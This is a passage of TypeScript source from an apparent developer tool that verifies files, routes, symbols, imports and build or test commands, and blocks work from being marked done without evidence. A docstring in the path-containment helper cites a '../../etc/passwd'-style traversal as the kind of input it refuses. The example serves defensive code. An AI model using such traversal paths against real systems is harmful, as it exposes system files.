isFileAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isFile();\n } catch {\n return false;\n }\n}\n\nasync function isDirAt(abs: string): Promise<boolean> {\n try {\n return (await stat(abs)).isDirectory();\n } catch {\n return false;\n }\n}\n\n// --- path containment -------------------------------------------------------\n\n/** True when `absPath` is `absRoot` itself or lives inside it. */\nfunction isWithinRoot(absRoot: string, absPath: string): boolean {\n return absPath === absRoot || absPath.startsWith(absRoot + path.sep);\n}\n\n/**\n * Resolve `relPath` against `root` and confirm the result stays inside `root`.\n * Returns the contained absolute path, or `null` when the path escapes the root\n * — a `\"../../etc/passwd\"`-style traversal, or an absolute path pointing outside\n * the repo. These verifiers run behind the MCP boundary where the path is\n * caller-supplied, so an escaping path is refused without ever touching the\n * filesystem.\n */\nfunction resolveWithinRoot(root: string, relPath: string): string | null {\n const absRoot = path.resolve(root);\n const abs = path.resolve(absRoot, relPath);\n return isWithinRoot(absRoot, abs) ? abs : null;\n}\n\n// --- verifyFileExists -------------------------------------------------------\n\n/** Verify that `relPath` (relative to `root`) is a real file on disk. */\nexport async function verifyFileExists(root: string, relPath: string): Promise<EvidenceItem> {\n assertNonEmpty(root, 'root');\n assertNonEmpty(relPath, 'relPath');\n\n const claim = `File \"${relPath}\" exists`;\n const abs = resolveWithinRoot(root, relPath);\n if (abs === null) {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'file',\n detail: `Refusing to read \"${relPath}\": resolves outside the project root`,\n });\n }\n\n let stats;\n try {\n stats = await stat(abs);\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return makeEvidence({ claim, status: 'refuted', kind: 'file', detail: `No file at ${abs}` });\n }\n throw new EvidenceError(`Failed to stat \"${abs}\"`, { cause: err });\n }\n\n if (stats.isFile()) {\n return makeEvidence({ claim, status: 'verified', kind: 'file', detail: `File present at ${abs}` });\n }\n if (stats.isDirectory()) {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'file',\n detail: `${abs} exists but is a directory, not a file`,\n });\n }\n return makeEvidence({\n claim,\n status: 'partial',\n kind: 'file',\n detail: `${abs} exists but is not a regular file`,\n });\n}\n\n// --- verifyRouteExists ------------------------------------------------------\n\n/** Verify that `routePath` is present in the scanned graph's route table. */\nexport function verifyRouteExists(graph: ProjectGraph, routePath: string): EvidenceItem {\n if (!isRecord(graph) || !Array.isArray(graph.routes)) {\n throw new EvidenceError('verifyRouteExists requires a ProjectGraph with a routes array');\n }\n assertNonEmpty(routePath, 'routePath');\n\n const claim = `Route \"${routePath}\" exists in the project graph`;\n const match = graph.routes.find((route) => route.routePath === routePath);\n\n if (match !== undefined) {\n return makeEvidence({\n claim,\n status: 'verified',\n kind: 'route',\n detail: `Route \"${routePath}\" resolves to ${match.file} (${match.kind})`,\n });\n }\n\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'route',\n detail: `No route \"${routePath}\" among ${graph.routes.length} known route(s)`,\n });\n}\n\n// --- verifySymbolExists -----------------------------------------------------\n\nasync function collectExportNames(source: string): Promise<Set<string>> {\n const names = new Set<string>();\n\n try {\n await init;\n const [, exportsList] = parse(source);\n for (const exported of exportsList) {\n if (exported.n.length > 0) names.add(exported.n);\n }\n } catch {\n // es-module-lexer can bail on TS-specific syntax or wasm init issues; the\n // regex passes below recover the export names either way.\n }\n\n NAMED_EXPORT.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = NAMED_EXPORT.exec(source)) !== null) {\n const name = match[1];\n if (name !== undefined) names.add(name);\n }\n\n EXPORT_BLOCK.lastIndex = 0;\n while ((match = EXPORT_BLOCK.exec(source)) !== null) {\n const block = match[1];\n if (block === undefined) continue;\n for (const rawPart of block.split(',')) {\n const part = rawPart.trim();\n if (part.length === 0) continue;\n const segments = part.split(/\\s+as\\s+/);\n const exported = (segments.length > 1 ? segments[segments.length - 1] : segments[0])?.trim();\n if (exported === undefined) continue;\n const cleaned = exported.replace(/^type\\s+/, '').trim();\n if (/^[A-Za-z_$][\\w$]*$/.test(cleaned)) names.add(cleaned);\n }\n }\n\n if (/(?:^|[^.\\w$])export\\s+default\\b/.test(source)) names.add('default');\n\n return names;\n}\n\nfunction isDeclaredLocally(source: string, symbol: string): boolean {\n const declaration = new RegExp(\n `(?:^|[^.\\\\w$])(?:export\\\\s+)?(?:default\\\\s+)?(?:async\\\\s+)?(?:function\\\\*?|class|const|let|var|interface|type|enum)\\\\s+${escapeRegExp(symbol)}\\\\b`,\n );\n return declaration.test(source);\n}\n\n/**\n * Verify that `symbol` is defined in the source file at `relPath`. An exported\n * symbol is `verified`; a symbol declared but not exported is `partial`; an\n * absent symbol (or missing file) is `refuted`.\n */\nexport async function verifySymbolExists(\n root: string,\n relPath: string,\n symbol: string,\n): Promise<EvidenceItem> {\n assertNonEmpty(root, 'root');\n assertNonEmpty(relPath, 'relPath');\n assertNonEmpty(symbol, 'symbol');\n\n const claim = `Symbol \"${symbol}\" is defined in \"${relPath}\"`;\n const abs = resolveWithinRoot(root, relPath);\n if (abs === null) {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'symbol',\n detail: `Refusing to read \"${relPath}\": resolves outside the project root`,\n });\n }\n\n let source: string;\n try {\n source = await readFile(abs, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'symbol',\n detail: `Cannot find symbol: file ${abs} does not exist`,\n });\n }\n if (isErrnoException(err) && err.code === 'EISDIR') {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'symbol',\n detail: `${abs} is a directory, not a source file`,\n });\n }\n throw new EvidenceError(`Failed to read \"${abs}\"`, { cause: err });\n }\n\n const exportNames = await collectExportNames(source);\n if (exportNames.has(symbol)) {\n return makeEvidence({\n claim,\n status: 'verified',\n kind: 'symbol',\n detail: `\"${symbol}\" is exported from ${relPath}`,\n });\n }\n\n if (isDeclaredLocally(source, symbol)) {\n return makeEvidence({\n claim,\n status: 'partial',\n kind: 'symbol',\n detail: `\"${symbol}\" is declared in ${relPath} but is not exported`,\n });\n }\n\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'symbol',\n detail: `\"${symbol}\" is neither exported nor declared in ${relPath}`,\n });\n}\n\n// --- verifyImportPath -------------------------------------------------------\n\nasync function resolveTargetFile(base: string): Promise<string | null> {\n if (await isFileAt(base)) return base;\n\n const ext = path.extname(base);\n if (ext.length > 0) {\n const rewrites = JS_EXT_REWRITES[ext];\n if (rewrites !== undefined) {\n const stem = base.slice(0, base.length - ext.length);\n for (const rewrite of rewrites) {\n const candidate = stem + rewrite;\n if (await isFileAt(candidate)) return candidate;\n }\n }\n }\n\n for (const candidateExt of CANDIDATE_EXTS) {\n const candidate = base + candidateExt;\n if (await isFileAt(candidate)) return candidate;\n }\n\n if (await isDirAt(base)) {\n for (const candidateExt of CANDIDATE_EXTS) {\n const candidate = path.join(base, `index${candidateExt}`);\n if (await isFileAt(candidate)) return candidate;\n }\n }\n\n return null;\n}\n\nfunction packageNameOf(spec: string): string {\n const parts = spec.split('/');\n const first = parts[0] ?? spec;\n if (first.startsWith('@')) {\n const second = parts[1];\n return second !== undefined ? `${first}/${second}` : first;\n }\n return first;\n}\n\nasync function resolveBarePackage(\n absRoot: string,\n fromDir: string,\n pkgName: string,\n): Promise<string | null> {\n const checked = new Set<string>();\n let dir = path.resolve(fromDir);\n\n for (;;) {\n if (!checked.has(dir)) {\n checked.add(dir);\n const candidate = path.join(dir, 'node_modules', pkgName);\n if (await isDirAt(candidate)) return candidate;\n }\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n\n const rootCandidate = path.join(absRoot, 'node_modules', pkgName);\n if (!checked.has(absRoot) && (await isDirAt(rootCandidate))) return rootCandidate;\n\n return null;\n}\n\n/**\n * Verify that an import specifier from `fromFile` points at a real target.\n * Relative/absolute specifiers must resolve to a file on disk (`verified` /\n * `refuted`); Node built-ins are `verified`; bare package specifiers resolve via\n * `node_modules` walk-up, and an un-found package is `unverified` (absence from\n * an uninstalled tree is not proof the dependency does not exist).\n */\nexport async function verifyImportPath(\n root: string,\n fromFile: string,\n importPath: string,\n): Promise<EvidenceItem> {\n assertNonEmpty(root, 'root');\n assertNonEmpty(fromFile, 'fromFile');\n assertNonEmpty(importPath, 'importPath');\n\n const absRoot = path.resolve(root);\n const claim = `Import \"${importPath}\" from \"${fromFile}\" resolves to a real target`;\n\n const absFrom = resolveWithinRoot(absRoot, fromFile);\n if (absFrom === null) {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'import',\n detail: `Refusing to resolve imports from \"${fromFile}\": it resolves outside the project root`,\n });\n }\n const fromDir = path.dirname(absFrom);\n\n if (importPath.startsWith('node:') || NODE_BUILTINS.has(importPath)) {\n return makeEvidence({\n claim,\n status: 'verified',\n kind: 'import',\n detail: `\"${importPath}\" is a Node.js built-in module`,\n });\n }\n\n const isRelative =\n importPath === '.' ||\n importPath === '..' ||\n importPath.startsWith('./') ||\n importPath.startsWith('../');\n\n if (isRelative || importPath.startsWith('/')) {\n const base = importPath.startsWith('/')\n ? path.join(absRoot, importPath)\n : path.resolve(fromDir, importPath);\n if (!isWithinRoot(absRoot, base)) {\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'import',\n detail: `Refusing to resolve \"${importPath}\": it resolves outside the project root`,\n });\n }\n const resolved = await resolveTargetFile(base);\n if (resolved !== null) {\n return makeEvidence({\n claim,\n status: 'verified',\n kind: 'import',\n detail: `Resolved \"${importPath}\" to ${resolved}`,\n });\n }\n return makeEvidence({\n claim,\n status: 'refuted',\n kind: 'import',\n detail: `No file resolves \"${importPath}\" from ${fromDir}`,\n });\n }\n\n const pkgName = packageNameOf(importPath);\n const found = await resolveBarePackage(absRoot, fromDir, pkgName);\n if (found !== null) {\n return makeEvidence({\n claim,\n status: 'verified',\n kind: 'import',\n detail: `Package \"${pkgName}\" found at ${found}`,\n });\n }\n\n return makeEvidence({\n claim,\n status: 'unverified',\n kind: 'import',\n detail: `Bare specifier \"${importPath}\" not found in node_modules; cannot confirm or refute without an installed dependency tree`,\n });\n}\n\n// --- command execution ------------------------------------------------------\n\nfunction runCommand(\n cmd: string,\n cwd: string,\n timeoutMs: number,\n kind: EvidenceKind,\n claim: string,\n): Promise<EvidenceItem> {\n return new Promise<EvidenceItem>((resolve, reject) => {\n let child: ChildProcess;\n try {\n // `detached` puts the child in its own process group so a timeout can\n // SIGKILL the whole group (see `killGroup`), not just the top-level shell.\n child = spawn(cmd, { cwd, shell: true, windowsHide: true, detached: true });\n } catch (err) {\n reject(new EvidenceError(`Failed to spawn command: ${cmd}`, { cause: err }));\n return;\n }\n\n const chunks: string[] = [];\n let total = 0;\n const capture = (buf: Buffer): void => {\n if (total >= CAPTURE_HARD_CAP) return;\n let text = buf.toString('utf8');\n if (total + text.length > CAPTURE_HARD_CAP) {\n text = text.slice(0, CAPTURE_HARD_CAP - total);\n }\n total += text.length;\n chunks.push(text);\n };\n child.stdout?.on('data', capture);\n child.stderr?.on('data', capture);\n\n let timedOut = false;\n let settled = false;\n\n const killGroup = (): void => {\n const pid = child.pid;\n if (pid === undefined) return;\n try {\n // Negative pid targets the whole process group (the child leads its own\n // group via `detached`), so grandchildren a shell command spawned die\n // with it instead of being orphaned past the deadline.\n process.kill(-pid, 'SIGKILL');\n } catch {\n // Group signalling is unsupported on some platforms (e.g. Windows) or\n // the group is already gone; fall back to killing just the child.\n try {\n child.kill('SIGKILL');\n } catch {\n // already exited\n }\n }\n };\n\n const timer = setTimeout(() => {\n timedOut = true;\n killGroup();\n }, timeoutMs);\n\n child.on('error', (err) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n reject(new EvidenceError(`Command failed to execute: ${cmd}`, { cause: err }));\n });\n\n child.on('close', (code, signal) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n const output = truncateOutput(chunks.join(''));\n\n if (timedOut) {\n resolve(\n makeEvidence({\n claim,\n status: 'refuted',\n kind,\n detail: `Command timed out after ${timeoutMs}ms and was killed (signal ${signal ?? 'SIGKILL'})`,\n command: cmd,\n output,\n }),\n );\n return;\n }\n\n const exitCode = code ?? -1;\n const verified = exitCode === 0;\n resolve(\n makeEvidence({\n claim,\n status: verified ? 'verified' : 'refuted',\n kind,\n detail: verified\n ? 'Command exited 0'\n : code === null\n ? `Command terminated by signal ${signal ?? 'unknown'}`\n : `Command exited with code ${code}`,\n command: cmd,\n exitCode,\n output,\n }),\n );\n });\n });\n}\n\n/**\n * Run a shell command and verify it exits 0. The command is `verified` iff it\n * exits cleanly with code 0; a non-zero exit or a timeout is `refuted` (not an\n * error). The captured stdout+stderr is truncated and attached as `output`.\n *\n * TRUST BOUNDARY: this executes an arbitrary shell string in `opts.cwd`. The\n * capability is intentional — the gates run a target repo's own configured\n * typecheck/lint/build/test commands — but it means whoever controls the\n * command string (or the target repo's `.cortex` config that supplies it) gets\n * arbitrary code execution. Only ever point this at repositories you trust.\n * Containment: the child runs in its own process group and the whole group is\n * SIGKILL'd on timeout (so grandchildren cannot outlive the deadline), and the\n * caller-supplied timeout is clamped to {@link MAX_COMMAND_TIMEOUT_MS}.\n */\nexport async function verifyCommandResult(cmd: string, opts: CommandOptions): Promise<EvidenceItem> {\n assertNonEmpty(cmd, 'cmd');\n if (!isRecord(opts)) {\n throw new EvidenceError('verifyCommandResult requires an options object with a cwd');\n }\n assertNonEmpty(opts.cwd, 'opts.cwd');\n\n const requested = opts.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS;\n if (typeof requested !== 'number' || !Number.isFinite(requested) || requested <= 0) {\n throw new EvidenceError('opts.timeoutMs must be a positive, finite number');\n }\n // Clamp to a sane ceiling so a caller cannot pin a runaway command open far\n // longer than any real gate needs behind the MCP boundary.\n const timeoutMs = Math.min(requested, MAX_COMMAND_TIMEOUT_MS);\n\n return runCommand(cmd, opts.cwd, timeoutMs, 'command', `Command \"${cmd}\" exits 0`);\n}\n\n// --- verifyBuildEvidence ----------------------------------------------------\n\ninterface DetectedCommand {\n command: string;\n via: string;\n}\n\nasync function detectPackageManager(root: string): Promise<string> {\n if (await isFileAt(path.join(root, 'pnpm-lock.yaml'))) return 'pnpm';\n if (await isFileAt(path.join(root, 'yarn.lock'))) return 'yarn';\n if (await isFileAt(path.join(root, 'bun.lockb'))) return 'bun';\n return 'npm';\n}\n\nasync function detectBuildCommand(root: string): Promise<DetectedCommand | null> {\n let raw: string;\n try {\n raw = await readFile(path.join(root, 'package.json'), 'utf8');\n } catch {\n return null;\n }\n\n let pkg: unknown;\n try {\n pkg = JSON.parse(raw);\n } catch {\n return null;\n }\n if (!isRecord(pkg)) return null;\n\n const scripts = pkg['scripts'];\n if (!isRecord(scripts)) return null;\n\n const build = scripts['build'];\n if (typeof build !== 'string' || build.trim().length === 0) return null;\n\n const pm = await detectPackageManager(root);\n return { command: `${pm} run build`, via: `package.json scripts.build via ${pm}` };\n}\n\n/**\n * Verify that the project builds. Uses `config.commands.build` when set,\n * otherwise the detected `package.json` build script (run with the detected\n * package manager). Emits `build`-kind evidence; if no build command is\n * configured or detectable the result is `unverified` (there is nothing to run).\n */\nexport async function verifyBuildEvidence(\n root: string,\n config: CortexConfig,\n): Promise<EvidenceItem> {\n assertNonEmpty(root, 'root');\n if (!isRecord(config)) {\n throw new EvidenceError('verifyBuildEvidence requires a CortexConfig');\n }\n\n const claim = 'Project build succeeds';\n const configured = isRecord(config.commands) ? config.commands.build : undefined;\n\n let buildCmd: string | undefined =\n typeof configured === 'string' && configured.trim().length > 0 ? configured : undefined;\n let provenance = '';\n\n if (buildCmd === undefined) {\n const detected = await detectBuildCommand(root);\n if (detected === null) {\n return makeEvidence({\n claim,\n status: 'unverified',\n kind: 'build',\n detail:\n 'No build command configured (config.commands.build) and no \"build\" script detected in package.json — nothing to run.',\n });\n }\n buildCmd = detected.command;\n provenance = ` (${detected.via})`;\n }\n\n const evidence = await runCommand(buildCmd, root, BUILD_TIMEOUT_MS, 'build', claim);\n if (provenance.length > 0) {\n evidence.detail = `${evidence.detail}${provenance}`;\n }\n return evidence;\n}\n","/**\n * `blockUnprovenDone` — the gate that stops \"done\" from being claimed without\n * proof. A ship report is blocked when its status is NOT_READY, when it carries\n * failed required checks, or when it has no recorded evidence at all (an\n * unproven \"done\"). Every block carries human-readable reasons so a host hook\n * can explain *why* it blocked, per the \"never block without explanation\" rule.\n */\n\nimport { EvidenceError } from '../domain/index';\nimport type { ShipReport } from '../domain/index';\n\nexport interface BlockDecision {\n blocked: boolean;\n reasons: string[];\n}\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\n/**\n * Decide whether work may be marked done given a `ShipReport`. Returns the\n * decision plus the reasons; throws `EvidenceError` only when the report itself\n * is structurally invalid (an internal failure, not a negative result).\n */\nexport function blockUnprovenDone(report: ShipReport): BlockDecision {\n if (!isRecord(report)) {\n throw new EvidenceError('blockUnprovenDone requires a ShipReport object');\n }\n\n const status = report.status;\n if (status !== 'READY' && status !== 'READY_WITH_WARNINGS' && status !== 'NOT_READY') {\n throw new EvidenceError(`ShipReport.status is invalid: ${String(status)}`);\n }\n\n const blockedChecks = Array.isArray(report.blocked) ? report.blocked : [];\n const evidenceIds = Array.isArray(report.evidenceIds) ? report.evidenceIds : [];\n const reasons: string[] = [];\n\n if (status === 'NOT_READY') {\n reasons.push(\n 'Ship status is NOT_READY — required checks have not all passed, so work cannot be marked done.',\n );\n }\n\n for (const check of blockedChecks) {\n const name = isRecord(check) && typeof check.name === 'string' ? check.name : 'unknown check';\n const detail =\n isRecord(check) && typeof check.detail === 'string' && check.detail.length > 0\n ? ` — ${check.detail}`\n : '';\n reasons.push(`Required check failed: ${name}${detail}`);\n }\n\n if (evidenceIds.length === 0) {\n reasons.push(\n 'No evidence was recorded — \"done\" cannot be proven without at least one verified evidence item.',\n );\n }\n\n return { blocked: reasons.length > 0, reasons };\n}\n","/**\n * Quality gates + ship report.\n *\n * `runQualityGate` runs the REAL configured commands (typecheck / lint / build /\n * test) via the evidence layer plus soft route-resolution and env-documentation\n * checks, collecting one `EvidenceItem` per check. `generateShipReport` runs the\n * same checks, classifies a `ShipStatus`, persists a human-readable markdown\n * report under `.cortex/ship-reports/`, and appends every collected evidence\n * item to the (append-only) `EvidenceLedger`.\n *\n * Required vs soft:\n * - Required checks are the enabled command gates (`config.gates.X === true`\n * with a `config.commands.X` configured). A failed required check blocks the\n * ship (`NOT_READY`).\n * - Soft checks are route resolution and env documentation. A failed soft check\n * is surfaced as a warning and never blocks.\n * - A gate that is enabled but has no configured command cannot be verified; it\n * degrades to a warning note rather than a silent pass or a hard block\n * (philosophy: evidence over opinions, never block without explanation).\n */\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, writeFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type {\n CheckResult,\n CortexConfig,\n EvidenceItem,\n GateResult,\n ProjectGraph,\n ShipReport,\n ShipStatus,\n} from '../domain/index';\nimport { verifyCommandResult, verifyFileExists } from '../evidence';\nimport type { EvidenceLedger } from '../ledgers';\nimport { workspacePaths } from '../workspace/paths';\n\n// --- public types -----------------------------------------------------------\n\n/**\n * The ledgers a ship report needs. Only the append-only `EvidenceLedger` is\n * consumed by the gate, so it is the sole required member; a richer application\n * bundle (memory/feature/decision + evidence) satisfies this structurally.\n */\nexport interface ShipLedgers {\n evidence: EvidenceLedger;\n}\n\n// --- constants --------------------------------------------------------------\n\nconst GATE_NAME = 'quality';\n\n/** Command gates, in deterministic report order. */\nconst COMMAND_GATES = ['typecheck', 'lint', 'build', 'test'] as const;\n\n// --- internal shapes --------------------------------------------------------\n\ninterface RichCheck {\n /** the user-facing check result (its `evidenceId` is mutated to the persisted id by the ship report) */\n check: CheckResult;\n /** whether a failure of this check blocks the ship */\n required: boolean;\n /** the single evidence item backing this check */\n evidence: EvidenceItem;\n}\n\ninterface GateChecks {\n rich: RichCheck[];\n /** soft warning notes with no backing check (e.g. an enabled-but-unconfigured gate) */\n notes: string[];\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, config: CortexConfig, graph: ProjectGraph): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('Quality gate requires a non-empty repository root path.');\n }\n if (!isRecord(config) || !isRecord(config.gates) || !isRecord(config.commands)) {\n throw new GateError('Quality gate requires a valid CortexConfig (with gates + commands).');\n }\n if (!isRecord(graph) || !Array.isArray(graph.routes) || !Array.isArray(graph.envVars)) {\n throw new GateError('Quality gate requires a valid ProjectGraph (with routes + envVars).');\n }\n}\n\nfunction hasEvidenceLedger(value: unknown): value is ShipLedgers {\n if (!isRecord(value)) return false;\n const evidence = (value as { evidence?: unknown }).evidence;\n return isRecord(evidence) && typeof (evidence as { add?: unknown }).add === 'function';\n}\n\n// --- evidence construction --------------------------------------------------\n\n/** Build an `env`-kind evidence item; there is no shared verifier for env documentation. */\nfunction makeEnvEvidence(name: string, documented: boolean, usedCount: number): EvidenceItem {\n return {\n id: randomUUID(),\n claim: `Env var \"${name}\" is documented`,\n status: documented ? 'verified' : 'refuted',\n kind: 'env',\n detail: documented\n ? `\"${name}\" is documented (used in ${usedCount} file(s))`\n : `\"${name}\" is used in ${usedCount} file(s) but is not documented in an env example/schema`,\n createdAt: new Date().toISOString(),\n };\n}\n\n// --- check collection -------------------------------------------------------\n\n/**\n * Run every gate check once. Shared by `runQualityGate` and `generateShipReport`\n * so the real commands execute exactly once per invocation.\n */\nasync function runGateChecks(\n root: string,\n config: CortexConfig,\n graph: ProjectGraph,\n): Promise<GateChecks> {\n const rich: RichCheck[] = [];\n const notes: string[] = [];\n\n // Required command gates (typecheck / lint / build / test).\n for (const gate of COMMAND_GATES) {\n if (config.gates[gate] !== true) continue;\n\n const command = config.commands[gate];\n if (typeof command !== 'string' || command.trim().length === 0) {\n notes.push(\n `The ${gate} gate is enabled but no command is configured (config.commands.${gate}); ${gate} could not be verified.`,\n );\n continue;\n }\n\n const evidence = await verifyCommandResult(command, { cwd: root });\n const passed = evidence.status === 'verified';\n rich.push({\n required: true,\n evidence,\n check: { name: gate, passed, detail: evidence.detail, evidenceId: evidence.id },\n });\n }\n\n // Soft check: every route's backing file resolves on disk.\n for (const route of graph.routes) {\n if (!isRecord(route) || typeof route.file !== 'string' || route.file.length === 0) continue;\n const evidence = await verifyFileExists(root, route.file);\n const passed = evidence.status === 'verified';\n rich.push({\n required: false,\n evidence,\n check: {\n name: `route:${route.routePath}`,\n passed,\n detail: passed\n ? `Route \"${route.routePath}\" resolves to ${route.file}`\n : `Route \"${route.routePath}\" backing file \"${route.file}\" is missing`,\n evidenceId: evidence.id,\n },\n });\n }\n\n // Soft check: every referenced env var is documented.\n for (const envVar of graph.envVars) {\n if (!isRecord(envVar) || typeof envVar.name !== 'string' || envVar.name.length === 0) continue;\n const documented = envVar.documented === true;\n const usedCount = Array.isArray(envVar.usedIn) ? envVar.usedIn.length : 0;\n const evidence = makeEnvEvidence(envVar.name, documented, usedCount);\n rich.push({\n required: false,\n evidence,\n check: {\n name: `env:${envVar.name}`,\n passed: documented,\n detail: documented\n ? `Env var \"${envVar.name}\" is documented`\n : `Env var \"${envVar.name}\" is used in ${usedCount} file(s) but is not documented`,\n evidenceId: evidence.id,\n },\n });\n }\n\n return { rich, notes };\n}\n\n// --- runQualityGate ---------------------------------------------------------\n\n/**\n * Run the configured quality gate against `root`. Returns the `GateResult`\n * (whose `passed` reflects only the required command checks) plus every\n * collected `EvidenceItem`. Throws `GateError` on invalid input; verifier\n * internal failures surface as `EvidenceError`.\n */\nexport async function runQualityGate(\n root: string,\n config: CortexConfig,\n graph: ProjectGraph,\n): Promise<{ result: GateResult; evidence: EvidenceItem[] }> {\n assertGateInputs(root, config, graph);\n\n const { rich } = await runGateChecks(root, config, graph);\n const required = rich.filter((entry) => entry.required);\n const passed = required.every((entry) => entry.check.passed);\n\n const result: GateResult = {\n gate: GATE_NAME,\n passed,\n checks: rich.map((entry) => entry.check),\n };\n\n return { result, evidence: rich.map((entry) => entry.evidence) };\n}\n\n// --- ship report ------------------------------------------------------------\n\nfunction buildSuggestedPrompt(\n status: Exclude<ShipStatus, 'READY'>,\n blocked: CheckResult[],\n warnings: string[],\n): string {\n if (status === 'NOT_READY') {\n const lines = blocked.map((check) => `- ${check.name}: ${check.detail}`);\n return [\n 'DevCortex ship gate: NOT_READY. These required checks failed and must pass before the work can be marked done:',\n ...lines,\n 'Fix the root cause of each failure (do not suppress, skip, or weaken the check), re-run the gate, and confirm every required check exits 0. Re-run `devcortex ship` and proceed only when it reports READY.',\n ].join('\\n');\n }\n\n const lines = warnings.map((warning) => `- ${warning}`);\n return [\n 'DevCortex ship gate: READY_WITH_WARNINGS. All required checks pass, but address these warnings before shipping:',\n ...lines,\n 'Resolve each warning or consciously accept it, recording any accepted risk in the decision ledger.',\n ].join('\\n');\n}\n\nfunction renderChecksTable(checks: CheckResult[]): string {\n if (checks.length === 0) return '_none_';\n const rows = checks.map(\n (check) =>\n `| ${check.name} | ${check.passed ? 'pass' : 'fail'} | ${check.detail.replace(/\\|/g, '\\\\|').replace(/\\n/g, ' ')} | ${check.evidenceId ?? '—'} |`,\n );\n return ['| Check | Result | Detail | Evidence |', '| --- | --- | --- | --- |', ...rows].join('\\n');\n}\n\nfunction renderEvidenceList(rich: RichCheck[]): string {\n if (rich.length === 0) return '_none_';\n return rich\n .map((entry) => {\n const { evidence, check } = entry;\n const id = check.evidenceId ?? evidence.id;\n const command = evidence.command !== undefined ? ` \\`${evidence.command}\\`` : '';\n const exit = evidence.exitCode !== undefined ? ` (exit ${evidence.exitCode})` : '';\n return `- \\`${id}\\` [${evidence.status}] ${evidence.kind}${command}${exit} — ${evidence.claim}`;\n })\n .join('\\n');\n}\n\nfunction renderMarkdown(report: ShipReport, rich: RichCheck[]): string {\n const sections: string[] = [\n '# DevCortex Ship Report',\n '',\n `- **Status:** ${report.status}`,\n `- **Generated:** ${report.generatedAt}`,\n `- **Required checks passed:** ${report.blocked.length === 0 ? 'yes' : 'no'}`,\n `- **Evidence items:** ${report.evidenceIds.length}`,\n '',\n '## Passed',\n '',\n renderChecksTable(report.passed),\n '',\n '## Blocked (required failures)',\n '',\n renderChecksTable(report.blocked),\n '',\n '## Warnings',\n '',\n report.warnings.length === 0 ? '_none_' : report.warnings.map((w) => `- ${w}`).join('\\n'),\n '',\n ];\n\n if (report.suggestedPrompt !== undefined) {\n sections.push('## Suggested next prompt', '', '```text', report.suggestedPrompt, '```', '');\n }\n\n sections.push('## Evidence', '', renderEvidenceList(rich), '');\n return `${sections.join('\\n')}`;\n}\n\nasync function persistShipReport(\n root: string,\n report: ShipReport,\n rich: RichCheck[],\n): Promise<string> {\n const paths = workspacePaths(root);\n // ISO timestamp is not a safe filename (colons, dots); a short uuid suffix\n // guarantees uniqueness for reports generated within the same millisecond.\n const stamp = report.generatedAt.replace(/[:.]/g, '-');\n const file = path.join(paths.shipReportsDir, `${stamp}-${randomUUID().slice(0, 8)}.md`);\n\n try {\n await mkdir(paths.shipReportsDir, { recursive: true });\n await writeFile(file, renderMarkdown(report, rich), 'utf8');\n } catch (err) {\n throw new GateError(`Unable to write ship report to ${file}.`, { cause: err });\n }\n return file;\n}\n\n/**\n * Run the quality gate and synthesize a `ShipReport`. Classifies status\n * (`NOT_READY` if any required check failed, `READY_WITH_WARNINGS` if all\n * required pass but soft warnings exist, otherwise `READY`), attaches a\n * `suggestedPrompt` whenever the status is not `READY`, persists a markdown\n * report under `.cortex/ship-reports/`, and appends every evidence item to the\n * `EvidenceLedger`. Throws `GateError` on invalid input/ledger or a write\n * failure; ledger persistence failures surface as `LedgerError`.\n */\nexport async function generateShipReport(\n root: string,\n config: CortexConfig,\n graph: ProjectGraph,\n ledgers: ShipLedgers,\n): Promise<ShipReport> {\n assertGateInputs(root, config, graph);\n if (!hasEvidenceLedger(ledgers)) {\n throw new GateError('generateShipReport requires a ledger bundle with an EvidenceLedger.');\n }\n\n const { rich, notes } = await runGateChecks(root, config, graph);\n\n // Persist every evidence item (append-only) and remap each check's evidenceId\n // to the ledger-assigned id so the report and the ledger never disagree.\n const evidenceIds: string[] = [];\n for (const entry of rich) {\n const source = entry.evidence;\n const persisted = await ledgers.evidence.add({\n claim: source.claim,\n status: source.status,\n kind: source.kind,\n detail: source.detail,\n ...(source.command !== undefined ? { command: source.command } : {}),\n ...(source.exitCode !== undefined ? { exitCode: source.exitCode } : {}),\n ...(source.output !== undefined ? { output: source.output } : {}),\n });\n entry.check.evidenceId = persisted.id;\n evidenceIds.push(persisted.id);\n }\n\n const blocked = rich\n .filter((entry) => entry.required && !entry.check.passed)\n .map((entry) => entry.check);\n const passed = rich.filter((entry) => entry.check.passed).map((entry) => entry.check);\n\n const warnings: string[] = [];\n for (const entry of rich) {\n if (!entry.required && !entry.check.passed) warnings.push(entry.check.detail);\n }\n warnings.push(...notes);\n\n const status: ShipStatus =\n blocked.length > 0 ? 'NOT_READY' : warnings.length > 0 ? 'READY_WITH_WARNINGS' : 'READY';\n\n const report: ShipReport = {\n status,\n passed,\n blocked,\n warnings,\n evidenceIds,\n generatedAt: new Date().toISOString(),\n };\n\n if (status !== 'READY') {\n report.suggestedPrompt = buildSuggestedPrompt(status, blocked, warnings);\n }\n\n await persistShipReport(root, report, rich);\n return report;\n}\n","/**\n * UI gate (§7.13) — deep, TOKENLESS, DETERMINISTIC UI-quality heuristics over the\n * 